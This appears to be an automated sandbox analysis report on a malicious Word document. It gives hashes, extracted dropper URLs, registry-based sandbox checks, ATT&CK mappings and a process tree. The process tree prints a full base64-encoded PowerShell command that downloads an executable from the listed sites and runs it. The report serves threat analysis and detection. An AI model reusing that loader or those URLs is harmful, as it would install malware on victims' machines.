107fd6be86b92cd124d49b967f2d1d719305db9f215eb21fcc0c5c65a7dc1e14

General

Target

107fd6be86b92cd124d49b967f2d1d719305db9f215eb21fcc0c5c65a7dc1e14.doc
Size

241KB
MD5

5d796b4f80a7c7626db81ad6a55d3018
SHA1

976086afeee4e35ebec99e1b3a7176c9d16a08dc
SHA256

107fd6be86b92cd124d49b967f2d1d719305db9f215eb21fcc0c5c65a7dc1e14
SHA512

671d3921f67c1348b01beab6af5a5619ff6890f6805bfa96ace2f02d5bf22108a1aebb7b6eb3c5d2dde12be72118ff4ecd69daf2a00500824cc727a57b95d97e
SSDEEP

6144:Y77HUUUUUUUUUUUUUUUUUUUT52Vxygud92G1EBoBlf:Y77HUUUUUUUUUUUUUUUUUUUTCs/yeBlf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://dorubi.com/lnoubt/fx/

exe.dropper

http://demo-progenajans.com/icceturkey/V81jki/

exe.dropper

http://autofashionfactory.com/HLIC/epReQJ/

exe.dropper

http://bedfont.com/selectbox/Q97C/

exe.dropper

http://bernielandry.com/wp-includes/J3h/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3280	2400	powershell.exe

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

22 3280 powershell.exe
24 3280 powershell.exe
26 3280 powershell.exe
28 3280 powershell.exe

flow	pid	process
22	3280	powershell.exe
24	3280	powershell.exe
26	3280	powershell.exe
28	3280	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4204 WINWORD.EXE
4204 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3280 powershell.exe
3280 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3280 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4204 WINWORD.EXE
4204 WINWORD.EXE
4204 WINWORD.EXE
4204 WINWORD.EXE
4204 WINWORD.EXE
4204 WINWORD.EXE
4204 WINWORD.EXE

pid	process
4204	WINWORD.EXE
4204	WINWORD.EXE

pid	process
3280	powershell.exe
3280	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3280	powershell.exe

pid	process
4204	WINWORD.EXE
4204	WINWORD.EXE
4204	WINWORD.EXE
4204	WINWORD.EXE
4204	WINWORD.EXE
4204	WINWORD.EXE
4204	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\107fd6be86b92cd124d49b967f2d1d719305db9f215eb21fcc0c5c65a7dc1e14.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -enc JABqAGsAUQBDAHgAMQA9ACgAJwB6AEEAJwArACcARABYAEEAeAAnACsAJwBrACcAKQA7ACQARwBBAEEAUQBBAFEAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQARwBYAEEAMQBBAGsANABjAD0AKAAnAGgAdAB0AHAAOgAnACsAJwAvACcAKwAnAC8AJwArACcAZABvAHIAJwArACcAdQBiAGkALgBjAG8AbQAvAGwAbgBvAHUAJwArACcAYgB0AC8AJwArACcAZgB4AC8AQABoACcAKwAnAHQAdABwADoALwAvAGQAZQBtAG8ALQBwAHIAbwAnACsAJwBnAGUAbgBhAGoAJwArACcAYQBuAHMALgBjAG8AbQAvAGkAYwBjACcAKwAnAGUAdAAnACsAJwB1AHIAawAnACsAJwBlACcAKwAnAHkALwBWADgAMQBqAGsAaQAvAEAAaAB0AHQAJwArACcAcAA6AC8ALwBhAHUAdAAnACsAJwBvAGYAYQBzACcAKwAnAGgAaQBvAG4AZgBhACcAKwAnAGMAdABvAHIAeQAuAGMAbwBtACcAKwAnAC8ASABMAEkAQwAvAGUAJwArACcAcABSAGUAUQBKAC8AQABoAHQAdABwADoALwAvAGIAZQBkAGYAJwArACcAbwAnACsAJwBuAHQALgBjAG8AbQAnACsAJwAvAHMAZQBsACcAKwAnAGUAYwAnACsAJwB0AGIAJwArACcAbwB4AC8AUQA5ADcAQwAvAEAAaAB0AHQAcAA6AC8ALwAnACsAJwBiAGUAJwArACcAcgBuAGkAZQBsAGEAbgBkAHIAeQAuAGMAbwBtAC8AdwBwAC0AaQBuACcAKwAnAGMAbAAnACsAJwB1AGQAZQBzAC8AJwArACcASgAzAGgAJwArACcALwAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABjADEAUQBCAG8AQQA9ACgAJwBQAFEAQQAnACsAJwBVACcAKwAnAEEAQQBBADEAJwApADsAJAB3AEEAQQBEAEMAVQAgAD0AIAAoACcAMQAnACsAJwA4ADkAJwApADsAJABJAEIAUQBBAEMAQQA9ACgAJwBqACcAKwAnAFEARwBBAFUAUQAnACkAOwAkAHAAQgBBAFUAQQBfAF8AVQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAdwBBAEEARABDAFUAKwAoACcALgBlAHgAJwArACcAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABYAEcARABjAFgAQQB3AEEAIABpAG4AIAAkAEcAWABBADEAQQBrADQAYwApAHsAdAByAHkAewAkAEcAQQBBAFEAQQBRAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFgARwBEAGMAWABBAHcAQQAsACAAJABwAEIAQQBVAEEAXwBfAFUAKQA7ACQARgBBAEEAQQBaAG8AQwA9ACgAJwBwAGsARwBrACcAKwAnAEEAJwArACcAbwBrACcAKQA7AEkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAHAAQgBBAFUAQQBfAF8AVQApAC4AbABlAG4AZwB0AGgAIAAtAGcAZQAgADQAMAAwADAAMAApACAAewBJAG4AdgBvAGsAZQAtAEkAdABlAG0AIAAkAHAAQgBBAFUAQQBfAF8AVQA7ACQAUQB3AHgAQQBCAEMARABBAD0AKAAnAGoAbwBBADQAJwArACcAQQAnACsAJwBBACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABBAGsAUQAxAEEAQQBrAEEAPQAoACcATABEACcAKwAnAEEAQgAnACsAJwBCAEIAXwBBACcAKQA7AA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3280

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3280-144-0x00007FF8270C0000-0x00007FF827B81000-memory.dmp

Filesize
10.8MB

Download
memory/3280-141-0x00007FF8270C0000-0x00007FF827B81000-memory.dmp

Filesize
10.8MB

Download
memory/3280-140-0x000001E7C8C10000-0x000001E7C8C32000-memory.dmp

Filesize
136KB

Download
memory/3280-143-0x00007FF8270C0000-0x00007FF827B81000-memory.dmp

Filesize
10.8MB

Download
memory/4204-136-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/4204-137-0x00007FF811570000-0x00007FF811580000-memory.dmp

Filesize
64KB

Download
memory/4204-138-0x00007FF811570000-0x00007FF811580000-memory.dmp

Filesize
64KB

Download
memory/4204-142-0x00000226D7647000-0x00000226D7649000-memory.dmp

Filesize
8KB

Download
memory/4204-134-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/4204-133-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/4204-139-0x00000226D7647000-0x00000226D7649000-memory.dmp

Filesize
8KB

Download
memory/4204-135-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/4204-132-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/4204-146-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/4204-147-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/4204-148-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download
memory/4204-149-0x00007FF813650000-0x00007FF813660000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads